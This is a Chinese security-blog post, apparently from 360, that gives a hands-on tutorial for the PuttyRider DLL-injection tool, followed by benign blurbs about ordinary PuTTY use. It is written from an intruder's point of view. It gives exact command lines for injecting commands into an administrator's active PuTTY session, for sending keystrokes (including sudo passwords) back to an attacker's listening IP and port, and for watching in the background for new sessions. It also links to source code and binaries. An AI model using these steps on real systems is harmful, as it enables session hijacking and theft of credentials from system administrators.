近日,我们的360监控平台,检测到一个叫PuttyRider渗透工具,小编立马下回来研究,整理一篇工具的使用心得分享给大家。
我们在入侵到一台主机的时候,经常会看到管理员的桌面会放着putty.exe,这说明有很大的可能性管理员是使用putty远程管理主机的。该工具主要是针对SSH客户端putty的利用,采用DLL注入的方式,来实现各种猥琐的利用姿势。我依次演示该工具的三种利用场景
1.当你远程控制对方主机的时候,管理员正好用putty连接着远程主机
这种情景,我们只要直接注入命令到当前的putty进程,就可以利用,非常简单,缺点是没有回显。
使用puttyRider.exe –l 查看当前进程中putty正在连接的远程主机信息,这里不光能得到远程主机的IP地址和putty进程号,还能在Injected列看到当前是NO,说明我们还没有进程注入。
我们使用puttyrider.exe –p 0 –f –c ifconfig,就把ifconfig命令注入到当前的putty会话了,就达到远程命令执行的目的了。再次puttyRider.exe –l 看一下,发现injected列是yes了,说明我们注入进程成功了。
2.使用反弹的方式实时看管理员的输入
除了利用第一种方法直接注入命令,我们还可以反弹出来,实时看到对方管理员在putty里的输入,即使管理输入sudo这种命令,我们也能够看到他输入的明文密码。但是这种利用的前提是,对方管理员正在用PUTTY连接的主机可以反弹到你监听的IP地址,防火墙限制的不是很严。
Puttyrider.exe –p 0 –r 我监听的IP:端口
执行后,我们就可以看到结果了
3.我运气不这么好,对方管理员当前没有正在使用PUTTY管理远程主机
这种情况应该最常见了,软件作者也考虑到了,给我们提供了-w参数,他会让puttyrider后台监视新起来的进程,然后反弹到我们的主机,也能实时的看到对方的操作哦,包括输入的账号
Puttyrider.exe –w –r 我监听的IP:端口号
当执行完这个命令后,只要管理员下次再次开启PUTTY的时候,我们就能在监听的9999端口看到她的SHELL了
最后如果想研究工具细节的童鞋,可以在
https://codeload.github.com/seastorm/PuttyRider/zip/master下载源码,深入学习 :)
编译好的二进制文件可以在
https://github.com/seastorm/PuttyRider/releases/download/0.1/PuttyRider-bin.zip下载
本文由 360安全播报 原创发布,如需转载请注明来源及本文地址。
相关推荐
PuTTY 工具的使用教程 PuTTY 是一个流行的远程登录工具,它允许用户连接到远程服务器,执行命令和管理远程系统。在这个教程中,我们将介绍如何使用 PuTTY 工具连接到远程服务器,并进行基本的操作。 首先,需要...
在本文中,我们将详细探讨PUTTY的功能、使用方法以及它在Windows环境下调试Linux控制台的重要性。 首先,PUTTY支持多种网络协议,其中最常用的是SSH。SSH是一种加密的网络协议,用于安全地远程登录到服务器,执行...
使用Putty管理Linux系统——显示图形界面 在Linux系统管理中,使用Putty管理Linux系统是非常常见的,Putty是一个功能强大且易于使用的SSH客户端工具。但是,Putty默认情况下不能显示远程图形界面,需要借助其他工具...
PuTTY是一款广受欢迎的开源软件,主要用于...通过掌握PuTTY及其相关工具的使用,可以更高效地进行远程管理,提高工作效率。在实际工作中,不断探索和学习新的Linux命令和工具,将使你在面对各种挑战时更加游刃有余。
PuTTY是一个广泛使用的开源远程连接工具,它支持多种网络协议,包括最常用的SSH(Secure Shell)协议。PuTTY专为Windows操作系统设计,但也有适用于其他平台的版本,如PuTTY for Linux和PuTTYCS(PuTTY on Cygwin ...
PuTTY,作为一款知名的开源软件,是Windows操作系统上广泛使用的远程终端应用程序,支持多种网络协议,包括telnet、rlogin和SSH(Secure Shell)。这款工具因其免费、小巧且功能强大而备受青睐,不仅限于Windows 32...
总的来说,通过合理配置和工具配合,我们可以使用Putty在Windows环境下高效、安全地管理和操作远程Linux系统,即使涉及图形界面的操作也能轻松应对。这一技巧对于提高IT运维的效率和安全性具有重要意义。
Linux远程连接工具Putty是一款广泛使用的开源软件,主要用于Windows系统用户连接到运行各种类型Unix和Linux操作系统的远程服务器。这款轻量级的应用程序提供了一种安全的终端模拟器,允许用户通过SSH(Secure Shell...
这个“putty最新工具合集”包含了一系列与PuTTY相关的实用工具,下面将详细介绍这些工具的功能和用途。 1. PuTTY:这是合集中最核心的程序,它提供了一个图形用户界面,让用户可以通过SSH、Telnet、Rlogin和Serial...
这个压缩包“putty连接linux虚拟机工具.zip”包含了一个64位版本的PUTTY执行文件——"putty64.exe",这正是PUTTY的Windows版本,适用于64位操作系统。 PUTTY的主要功能包括: 1. **远程登录**:PUTTY允许用户通过...
windows专用ssh——putty,可远程连接服务器,可执行文件,下载就可以使用
Pageant允许用户加载一个或多个密钥,然后PuTTY和其他PuTTY家族工具在需要时自动使用这些密钥进行身份验证,提高了工作效率,同时减少了每次连接时手动输入密码的麻烦。 PuTTY工具打包合集对于系统管理员、开发者和...
putty串口调试工具,可在windows上操作4412等开发板。
"adb putty"工具则结合了ADB和PuTTY的功能,为Android开发者提供了一个更方便的调试环境。PuTTY是一款流行的SSH(Secure Shell)客户端,通常用于远程登录和管理服务器。当它与ADB结合时,可以实现通过SSH协议访问...
Putty是一个免费的Windows平台下的telnet、rlogin和ssh客户端,Putty的功能丝毫不逊色于商业的telnet类工具。PuTTY作为一款开放源代码的软件,主要由Simon Tatham维护,使用MIT licence授权。随着Linux系统在服务器...
**Putty终端管理工具** PuTTY,一个小巧且强大的网络连接工具,被广泛...使用PuTTY.exe文件,用户可以直接启动这个功能强大的终端管理工具,开始与远程服务器的交互。只需简单几步,即可开启一个全新的远程工作空间。
PUTTY是一款广泛使用的开源远程连接工具,主要支持SSH(Secure Shell)、Telnet、Rlogin以及Serial等协议,允许用户通过网络在本地计算机上与远程服务器进行交互。PUTTY以其小巧的体积、简单易用的配置界面和跨平台...
Putty是一个免费的、Windows 32平台下的telnet、rlogin和ssh客户端,在各种远程登录工具中,Putty是出色的工具之一,Putty具有完全免费、小巧绿色、无需安装、操作简单等特点。其功能丝毫不逊色于商业的telnet类工具...
PuTTY 是一个非常著名的开源终端模拟器和网络文件传输应用程序,尤其在Windows系统中广泛使用。这个工具套件包括了多个组件,每个都有其特定的功能,让我们一一详细探讨。 1. **PuTTY**:这是核心应用程序,提供了...
在“adb putty工具(配置颜色类似ubuntu终端)”的场景下,用户显然希望在使用Putty连接Android设备时,能够享受到类似于Ubuntu终端的色彩体验。Ubuntu终端以其清晰的配色方案著称,良好的颜色区分对于长时间编码和...